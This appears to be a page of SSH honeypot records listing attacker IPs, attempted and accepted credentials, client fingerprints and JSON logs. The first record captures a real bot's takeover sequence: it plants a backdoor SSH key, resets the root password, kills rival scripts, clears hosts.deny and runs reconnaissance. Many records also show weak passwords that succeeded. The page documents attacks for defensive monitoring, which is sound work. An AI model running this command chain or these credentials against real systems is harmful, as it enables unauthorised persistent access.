Adversarial Observation Interface

14.29.198.130

2026-09-18 16:26:28.155067 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / ZXCzxc123

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo "root:1FyANsFtZXnP"|chpasswd|bash

[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: 89e0ec6aa253

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 29.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "89e0ec6aa253",
  "src_ip": "14.29.198.130",
  "start_time": "2026-09-18T16:26:28.155067Z",
  "end_time": "2026-09-18T16:26:57.274726Z",
  "duration": "29.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ZXCzxc123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:1FyANsFtZXnP\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:1FyANsFtZXnP\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

92.118.39.14

2026-09-18 16:26:20.845905 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e2c652d13b8d

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "e2c652d13b8d",
  "src_ip": "92.118.39.14",
  "start_time": "2026-09-18T16:26:20.845905Z",
  "end_time": "2026-09-18T16:26:21.013159Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

119.194.211.201

2026-09-18 16:25:28.251879 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: devops

Record ID: cd58f55b496f

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 06ff3615a51b2af343ec22abc8e30bbc

{
  "id": "cd58f55b496f",
  "src_ip": "119.194.211.201",
  "start_time": "2026-09-18T16:25:28.251879Z",
  "end_time": "2026-09-18T16:25:30.020747Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "06ff3615a51b2af343ec22abc8e30bbc",
  "attempts": [
    {
      "user": "devops",
      "pass": "IANBOEN@IANBOEN"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

51.75.127.195

2026-09-18 16:23:58.795393 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: webmaster

Record ID: af459a7a0a89

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "af459a7a0a89",
  "src_ip": "51.75.127.195",
  "start_time": "2026-09-18T16:23:58.795393Z",
  "end_time": "2026-09-18T16:24:00.762609Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "webmaster",
      "pass": "1qaz2wsx"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

82.165.96.81

2026-09-18 16:19:58.408891 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / ian8514

Record ID: 3c1b8f2469b7

Client Version: SSH-2.0-Go

Engagement Duration: 0.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "3c1b8f2469b7",
  "src_ip": "82.165.96.81",
  "start_time": "2026-09-18T16:19:58.408891Z",
  "end_time": "2026-09-18T16:19:59.189141Z",
  "duration": "0.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "ian8514"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

138.68.43.17

2026-09-18 16:19:02.163972 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aol.comnboen

Record ID: 614dce686172

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "614dce686172",
  "src_ip": "138.68.43.17",
  "start_time": "2026-09-18T16:19:02.163972Z",
  "end_time": "2026-09-18T16:19:03.349634Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "aol.comnboen",
      "pass": "375666575096434"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

157.230.62.47

2026-09-18 16:17:41.614622 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aol.comnboen

Record ID: 1fff5ba5f859

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "1fff5ba5f859",
  "src_ip": "157.230.62.47",
  "start_time": "2026-09-18T16:17:41.614622Z",
  "end_time": "2026-09-18T16:17:42.947008Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "aol.comnboen",
      "pass": "lilly09"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.90.185.17

2026-09-18 16:15:30.637951 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: mysql /

Record ID: dab83aab3103

Client Version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3

Engagement Duration: 12.9s

HASSH Fingerprint: 390ffe68a68c2a2891210413e80689fa

{
  "id": "dab83aab3103",
  "src_ip": "77.90.185.17",
  "start_time": "2026-09-18T16:15:30.637951Z",
  "end_time": "2026-09-18T16:15:43.564605Z",
  "duration": "12.9",
  "version": "SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3",
  "hassh": "390ffe68a68c2a2891210413e80689fa",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "mysql",
    "pass": ""
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.86

2026-09-18 16:10:14.721820 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / Huawei12#$

Record ID: 491e5a8ec64d

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "491e5a8ec64d",
  "src_ip": "193.46.255.86",
  "start_time": "2026-09-18T16:10:14.721820Z",
  "end_time": "2026-09-18T16:10:20.733412Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "Huawei12#$"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

176.53.159.196

2026-09-18 16:09:46.807487 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: f9f2728c6139

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "f9f2728c6139",
  "src_ip": "176.53.159.196",
  "start_time": "2026-09-18T16:09:46.807487Z",
  "end_time": "2026-09-18T16:09:48.023494Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

173.212.245.93

2026-09-18 16:08:03.832664 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ianboen

Record ID: 16a80f0e0f8c

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "16a80f0e0f8c",
  "src_ip": "173.212.245.93",
  "start_time": "2026-09-18T16:08:03.832664Z",
  "end_time": "2026-09-18T16:08:05.608209Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "ianboen",
      "pass": "Sljc0913&"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.139.236.70

2026-09-18 16:05:34.419866 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / ianboen@2026

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -a 2>/dev/null

Record ID: 85501463d7ff

Client Version: SSH-2.0-Go

Engagement Duration: 3.0s

HASSH Fingerprint: 06ff3615a51b2af343ec22abc8e30bbc

{
  "id": "85501463d7ff",
  "src_ip": "103.139.236.70",
  "start_time": "2026-09-18T16:05:34.419866Z",
  "end_time": "2026-09-18T16:05:37.372698Z",
  "duration": "3.0",
  "version": "SSH-2.0-Go",
  "hassh": "06ff3615a51b2af343ec22abc8e30bbc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ianboen@2026"
  },
  "commands": [
    "uname -a 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

175.139.99.174

2026-09-18 16:03:59.560577 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9a69a48a3823

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "9a69a48a3823",
  "src_ip": "175.139.99.174",
  "start_time": "2026-09-18T16:03:59.560577Z",
  "end_time": "2026-09-18T16:03:59.563854Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

175.139.99.174

2026-09-18 16:03:57.751563 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: abf66b25d1e4

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "abf66b25d1e4",
  "src_ip": "175.139.99.174",
  "start_time": "2026-09-18T16:03:57.751563Z",
  "end_time": "2026-09-18T16:03:57.754616Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

188.43.28.193

2026-09-18 16:03:42.245731 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ianboen

Record ID: 40f60600e096

Client Version: SSH-2.0-Go

Engagement Duration: 4.4s

HASSH Fingerprint: 06ff3615a51b2af343ec22abc8e30bbc

{
  "id": "40f60600e096",
  "src_ip": "188.43.28.193",
  "start_time": "2026-09-18T16:03:42.245731Z",
  "end_time": "2026-09-18T16:03:46.665693Z",
  "duration": "4.4",
  "version": "SSH-2.0-Go",
  "hassh": "06ff3615a51b2af343ec22abc8e30bbc",
  "attempts": [
    {
      "user": "ianboen",
      "pass": "ianboen2019"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

62.60.130.253

2026-09-18 16:03:33.878611 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ac3af3afc746

Client Version: SSH-2.0-PUTTY

Engagement Duration: 0.9s

HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c

{
  "id": "ac3af3afc746",
  "src_ip": "62.60.130.253",
  "start_time": "2026-09-18T16:03:33.878611Z",
  "end_time": "2026-09-18T16:03:34.768777Z",
  "duration": "0.9",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.211.106.206

2026-09-18 15:57:01.949565 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Ianboen$2025

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -a 2>/dev/null

Record ID: 351dcc88da94

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 06ff3615a51b2af343ec22abc8e30bbc

{
  "id": "351dcc88da94",
  "src_ip": "176.211.106.206",
  "start_time": "2026-09-18T15:57:01.949565Z",
  "end_time": "2026-09-18T15:57:03.417388Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "06ff3615a51b2af343ec22abc8e30bbc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Ianboen$2025"
  },
  "commands": [
    "uname -a 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

89.21.67.158

2026-09-18 15:54:33.704941 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 256ed81cb7ec

Client Version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8

Engagement Duration: 0.3s

HASSH Fingerprint: bc9e7273cde22b1209d6673b5fd10bd5

{
  "id": "256ed81cb7ec",
  "src_ip": "89.21.67.158",
  "start_time": "2026-09-18T15:54:33.704941Z",
  "end_time": "2026-09-18T15:54:34.038718Z",
  "duration": "0.3",
  "version": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8",
  "hassh": "bc9e7273cde22b1209d6673b5fd10bd5",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

194.50.235.157

2026-09-18 15:54:14.077704 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 14fe4ce12364

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "14fe4ce12364",
  "src_ip": "194.50.235.157",
  "start_time": "2026-09-18T15:54:14.077704Z",
  "end_time": "2026-09-18T15:54:14.216568Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

117.72.69.18

2026-09-18 15:53:10.466585 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: katja

Record ID: 8351ae867843

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8351ae867843",
  "src_ip": "117.72.69.18",
  "start_time": "2026-09-18T15:53:10.466585Z",
  "end_time": "2026-09-18T15:53:13.903767Z",
  "duration": "3.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "katja",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

170.233.127.238

2026-09-18 15:51:20.165195 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c0628644bf98

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "c0628644bf98",
  "src_ip": "170.233.127.238",
  "start_time": "2026-09-18T15:51:20.165195Z",
  "end_time": "2026-09-18T15:51:20.168825Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

117.72.69.18

2026-09-18 15:50:34.211280 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5c4d84b1bf41

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5c4d84b1bf41",
  "src_ip": "117.72.69.18",
  "start_time": "2026-09-18T15:50:34.211280Z",
  "end_time": "2026-09-18T15:52:34.241023Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

170.233.127.248

2026-09-18 15:50:09.431100 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 228e93455221

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "228e93455221",
  "src_ip": "170.233.127.248",
  "start_time": "2026-09-18T15:50:09.431100Z",
  "end_time": "2026-09-18T15:50:09.434514Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

117.72.69.18

2026-09-18 15:47:57.799821 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 720f376828c9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "720f376828c9",
  "src_ip": "117.72.69.18",
  "start_time": "2026-09-18T15:47:57.799821Z",
  "end_time": "2026-09-18T15:49:57.858003Z",
  "duration": "120.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

102.67.160.18

2026-09-18 15:47:04.182976 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aol.comnboen

Record ID: 1c681fa8bd8b

Client Version: SSH-2.0-Go

Engagement Duration: 2.5s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "1c681fa8bd8b",
  "src_ip": "102.67.160.18",
  "start_time": "2026-09-18T15:47:04.182976Z",
  "end_time": "2026-09-18T15:47:06.699589Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "aol.comnboen",
      "pass": "Sljc0913*"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

117.72.69.18

2026-09-18 15:45:24.660163 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ff057e710efa

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ff057e710efa",
  "src_ip": "117.72.69.18",
  "start_time": "2026-09-18T15:45:24.660163Z",
  "end_time": "2026-09-18T15:47:24.683270Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

212.68.34.90

2026-09-18 15:43:39.087348 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / bennett

Record ID: 82d2bd35488f

Client Version: SSH-2.0-Go

Engagement Duration: 1.0s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "82d2bd35488f",
  "src_ip": "212.68.34.90",
  "start_time": "2026-09-18T15:43:39.087348Z",
  "end_time": "2026-09-18T15:43:40.057475Z",
  "duration": "1.0",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "bennett"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

159.65.89.89

2026-09-18 15:43:14.637193 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ianboen

Record ID: dcf5338141a0

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "dcf5338141a0",
  "src_ip": "159.65.89.89",
  "start_time": "2026-09-18T15:43:14.637193Z",
  "end_time": "2026-09-18T15:43:16.346549Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "ianboen",
      "pass": "Sljc0913"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

117.72.69.18

2026-09-18 15:42:47.451985 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1fc29e3a3e58

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "1fc29e3a3e58",
  "src_ip": "117.72.69.18",
  "start_time": "2026-09-18T15:42:47.451985Z",
  "end_time": "2026-09-18T15:44:47.508286Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

81.7.17.180

2026-09-18 15:41:43.917171 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aol.comnboen

Record ID: 5aeb1e9e2534

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "5aeb1e9e2534",
  "src_ip": "81.7.17.180",
  "start_time": "2026-09-18T15:41:43.917171Z",
  "end_time": "2026-09-18T15:41:45.743892Z",
